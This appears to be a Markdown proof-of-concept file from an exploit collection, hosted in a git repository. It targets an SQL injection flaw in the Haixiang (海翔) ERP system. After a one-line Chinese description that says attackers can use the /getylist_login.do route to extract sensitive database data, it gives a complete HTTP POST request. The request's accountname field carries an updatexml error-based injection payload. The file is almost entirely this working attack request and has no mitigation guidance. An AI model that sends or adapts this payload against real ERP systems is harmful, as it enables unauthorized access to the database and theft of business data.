POC/wpoc/海翔ERP/海翔ERP SQL注入漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

19 lines
629 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 海翔ERP SQL注入漏洞
海翔ERP存在SQL注入漏洞由于系统未对用户输入的内容进行过滤攻击者可以通过/getylist_login.do路由进行SQL注入从而获取数据库中的敏感信息。
## poc
```
POST /getylist_login.do HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 77
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
accountname=test' and (updatexml(1,concat(0x7e,(select md5(123)),0x7e),1));--
```